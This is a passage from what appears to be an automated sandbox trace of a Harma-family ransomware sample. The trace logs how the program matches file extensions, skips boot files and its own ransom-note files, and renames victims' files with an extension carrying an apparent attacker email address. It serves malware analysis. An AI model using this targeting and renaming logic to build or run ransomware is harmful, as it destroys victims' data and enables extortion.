(lpString1=".php", lpString2=".png") returned -1 [0159.220] lstrlenW (lpString=".php3") returned 5 [0159.220] lstrcmpiW (lpString1=".php3", lpString2="9.png") returned -1 [0159.220] lstrlenW (lpString=".php4") returned 5 [0159.220] lstrcmpiW (lpString1=".php4", lpString2="9.png") returned -1 [0159.220] lstrlenW (lpString=".php5") returned 5 [0159.220] lstrcmpiW (lpString1=".php5", lpString2="9.png") returned -1 [0159.220] lstrlenW (lpString=".phtml") returned 6 [0159.220] lstrcmpiW (lpString1=".phtml", lpString2="39.png") returned -1 [0159.220] lstrlenW (lpString=".pict") returned 5 [0159.220] lstrcmpiW (lpString1=".pict", lpString2="9.png") returned -1 [0159.220] lstrlenW (lpString=".pl") returned 3 [0159.220] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0159.220] lstrlenW (lpString=".pls") returned 4 [0159.220] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0159.220] lstrlenW (lpString=".pm") returned 3 [0159.220] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0159.220] lstrlenW (lpString=".png") returned 4 [0159.220] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0159.220] lstrlenW (lpString="39.png") returned 6 [0159.220] lstrlenW (lpString=".harma") returned 6 [0159.220] lstrcmpiW (lpString1=".harma", lpString2="39.png") returned -1 [0159.220] lstrlenW (lpString="39.png") returned 6 [0159.220] lstrcmpiW (lpString1="boot.ini", lpString2="39.png") returned 1 [0159.220] lstrcmpiW (lpString1="bootfont.bin", lpString2="39.png") returned 1 [0159.220] lstrcmpiW (lpString1="ntldr", lpString2="39.png") returned 1 [0159.220] lstrcmpiW (lpString1="ntdetect.com", lpString2="39.png") returned 1 [0159.220] lstrcmpiW (lpString1="io.sys", lpString2="39.png") returned 1 [0159.220] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="39.png") returned 1 [0159.220] lstrcmpiW (lpString1="Info.hta", lpString2="39.png") returned 1 [0159.220] lstrcmpiW (lpString1="3G6885.exe", lpString2="39.png") returned 1 [0159.220] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png") returned 75 [0159.221] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0159.221] lstrlenW (lpString="4.png") returned 5 [0159.221] lstrlenW (lpString=".1cd") returned 4 [0159.221] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0159.221] lstrlenW (lpString=".3ds") returned 4 [0159.221] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0159.221] lstrlenW (lpString=".3fr") returned 4 [0159.221] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0159.221] lstrlenW (lpString=".3g2") returned 4 [0159.221] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0159.221] lstrlenW (lpString=".3gp") returned 4 [0159.221] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0159.221] lstrlenW (lpString=".7z") returned 3 [0159.221] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0159.221] lstrlenW (lpString=".accda") returned 6 [0159.221] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0159.221] lstrlenW (lpString=".accdb") returned 6 [0159.221] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0159.221] lstrlenW (lpString=".accdc") returned 6 [0159.221] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0159.221] lstrlenW (lpString=".accde") returned 6 [0159.221] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0159.221] lstrlenW (lpString=".accdt") returned 6 [0159.221] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0159.221] lstrlenW (lpString=".accdw") returned 6 [0159.221] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0159.221] lstrlenW (lpString=".adb") returned 4 [0159.221] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0159.221] lstrlenW (lpString=".adp") returned 4 [0159.221] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0159.221] lstrlenW (lpString=".ai") returned 3 [0159.221] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0159.222] lstrlenW (lpString=".ai3") returned 4 [0159.222] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0159.222] lstrlenW (lpString=".ai4") returned 4 [0159.222] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0159.222] lstrlenW (lpString=".ai5") returned 4 [0159.222] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0159.222] lstrlenW (lpString=".ai6") returned 4 [0159.222] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0159.222] lstrlenW (lpString=".ai7") returned 4 Thread: id = 59 os_tid = 0x6ec [0132.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3a804a8 [0132.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3a904b0 [0132.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351518 [0132.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3bef78 [0132.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351530 [0132.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x3e30020 [0132.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351548 [0132.324] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351548, Size=0x20) returned 0x3c0d88 [0132.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351548 [0132.324] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351548, Size=0x20) returned 0x3c0db0 [0132.324] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.324] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.324] Wow64DisableWow64FsRedirection (in: OldValue=0x33bff58 | out: OldValue=0x33bff58*=0x0) returned 1 [0132.324] lstrlenW (lpString="kernel32.dll") returned 12 [0132.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d88 | out: hHeap=0x300000) returned 1 [0132.324] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0db0 | out: hHeap=0x300000) returned 1 [0132.324] Sleep (dwMilliseconds=0x64) [0132.624] lstrcmpiW (lpString1=".ttf", lpString2=".harma") returned 1 [0132.624] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0132.624] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0132.919] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1984228) returned 1 [0132.919] CloseHandle (hObject=0x294) returned 1 [0132.919] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0132.919] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.919] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0132.919] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.919] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.919] lstrlenW (lpString=".doc") returned 4 [0132.919] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.919] lstrlenW (lpString=".docx") returned 5 [0132.919] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.919] lstrlenW (lpString=".pdf") returned 4 [0132.920] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.920] lstrlenW (lpString=".xls") returned 4 [0132.920] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.920] lstrlenW (lpString=".xlsx") returned 5 [0132.920] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.920] lstrlenW (lpString=".ppt") returned 4 [0132.920] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.920] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.920] lstrlenW (lpString=".zip") returned 4 [0132.920] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.920] lstrlenW (lpString=".rar") returned 4 [0132.920] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.920] lstrlenW (lpString=".bz2") returned 4 [0132.920] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.920] lstrlenW (lpString=".7z") returned 3 [0132.920] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.920] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.920] lstrlenW (lpString=".dbf") returned 4 [0132.920] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.920] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.920] lstrlenW (lpString=".1cd") returned 4 [0132.920] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.920] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.920] lstrlenW (lpString=".jpg") returned 4 [0132.920] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.920] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.920] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.920] lstrlenW (lpString=".doc") returned 4 [0132.920] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.921] lstrlenW (lpString=".docx") returned 5 [0132.921] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.921] lstrlenW (lpString=".pdf") returned 4 [0132.921] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.921] lstrlenW (lpString=".xls") returned 4 [0132.921] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.921] lstrlenW (lpString=".xlsx") returned 5 [0132.921] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.921] lstrlenW (lpString=".ppt") returned 4 [0132.921] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.921] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.921] lstrlenW (lpString=".zip") returned 4 [0132.921] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.921] lstrlenW (lpString=".rar") returned 4 [0132.921] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.921] lstrlenW (lpString=".bz2") returned 4 [0132.921] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.921] lstrlenW (lpString=".7z") returned 3 [0132.921] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.921] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.921] lstrlenW (lpString=".dbf") returned 4 [0132.921] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.921] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.921] lstrlenW (lpString=".1cd") returned 4 [0132.921] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.922] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0132.922] lstrlenW (lpString=".jpg") returned 4 [0132.922] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.922] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.922] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0132.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.008] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=3584) returned 1 [0133.008] CloseHandle (hObject=0x2ac) returned 1 [0133.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0133.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.011] lstrlenW (lpString=".doc") returned 4 [0133.011] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.011] lstrlenW (lpString=".docx") returned 5 [0133.011] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.011] lstrlenW (lpString=".pdf") returned 4 [0133.011] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.011] lstrlenW (lpString=".xls") returned 4 [0133.011] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.011] lstrlenW (lpString=".xlsx") returned 5 [0133.011] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.011] lstrlenW (lpString=".ppt") returned 4 [0133.011] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.011] lstrlenW (lpString=".zip") returned 4 [0133.011] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.011] lstrlenW (lpString=".rar") returned 4 [0133.011] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.011] lstrlenW (lpString=".bz2") returned 4 [0133.011] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.011] lstrlenW (lpString=".7z") returned 3 [0133.011] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.011] lstrlenW (lpString=".dbf") returned 4 [0133.011] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.012] lstrlenW (lpString=".1cd") returned 4 [0133.012] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.012] lstrlenW (lpString=".jpg") returned 4 [0133.012] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.012] lstrlenW (lpString=".doc") returned 4 [0133.012] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.012] lstrlenW (lpString=".docx") returned 5 [0133.012] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.012] lstrlenW (lpString=".pdf") returned 4 [0133.012] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.012] lstrlenW (lpString=".xls") returned 4 [0133.012] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.012] lstrlenW (lpString=".xlsx") returned 5 [0133.012] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.012] lstrlenW (lpString=".ppt") returned 4 [0133.012] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.012] lstrlenW (lpString=".zip") returned 4 [0133.012] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.012] lstrlenW (lpString=".rar") returned 4 [0133.012] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.012] lstrlenW (lpString=".bz2") returned 4 [0133.012] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.012] lstrlenW (lpString=".7z") returned 3 [0133.013] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.013] lstrlenW (lpString=".dbf") returned 4 [0133.013] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.013] lstrlenW (lpString=".1cd") returned 4 [0133.013] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.013] lstrlenW (lpString=".jpg") returned 4 [0133.013] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.013] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0133.013] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0133.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.043] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=4096) returned 1 [0133.043] CloseHandle (hObject=0x2ac) returned 1 [0133.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0133.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.044] lstrlenW (lpString=".doc") returned 4 [0133.044] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.044] lstrlenW (lpString=".docx") returned 5 [0133.044] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.044] lstrlenW (lpString=".pdf") returned 4 [0133.044] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.044] lstrlenW (lpString=".xls") returned 4 [0133.044] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.044] lstrlenW (lpString=".xlsx") returned 5 [0133.044] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.044] lstrlenW (lpString=".ppt") returned 4 [0133.044] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.044] lstrlenW (lpString=".zip") returned 4 [0133.044] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.044] lstrlenW (lpString=".rar") returned 4 [0133.044] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.044] lstrlenW (lpString=".bz2") returned 4 [0133.044] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.044] lstrlenW (lpString=".7z") returned 3 [0133.044] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.045] lstrlenW (lpString=".dbf") returned 4 [0133.045] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.045] lstrlenW (lpString=".1cd") returned 4 [0133.045] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.045] lstrlenW (lpString=".jpg") returned 4 [0133.045] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.045] lstrlenW (lpString=".doc") returned 4 [0133.045] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.045] lstrlenW (lpString=".docx") returned 5 [0133.045] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.045] lstrlenW (lpString=".pdf") returned 4 [0133.045] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.045] lstrlenW (lpString=".xls") returned 4 [0133.045] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.045] lstrlenW (lpString=".xlsx") returned 5 [0133.045] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.045] lstrlenW (lpString=".ppt") returned 4 [0133.045] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.045] lstrlenW (lpString=".zip") returned 4 [0133.045] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.045] lstrlenW (lpString=".rar") returned 4 [0133.045] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.045] lstrlenW (lpString=".bz2") returned 4 [0133.046] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.046] lstrlenW (lpString=".7z") returned 3 [0133.046] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.046] lstrlenW (lpString=".dbf") returned 4 [0133.046] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.046] lstrlenW (lpString=".1cd") returned 4 [0133.046] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0133.046] lstrlenW (lpString=".jpg") returned 4 [0133.046] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.046] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0133.046] lstrlenW (lpString="InkWatson.exe.mui") returned 17 [0133.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0133.249] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=9216) returned 1 [0133.249] CloseHandle (hObject=0x2a0) returned 1 [0133.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0133.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.250] lstrlenW (lpString=".doc") returned 4 [0133.250] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.250] lstrlenW (lpString=".docx") returned 5 [0133.250] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0133.250] lstrlenW (lpString=".pdf") returned 4 [0133.250] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.250] lstrlenW (lpString=".xls") returned 4 [0133.250] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.250] lstrlenW (lpString=".xlsx") returned 5 [0133.250] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0133.250] lstrlenW (lpString=".ppt") returned 4 [0133.250] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 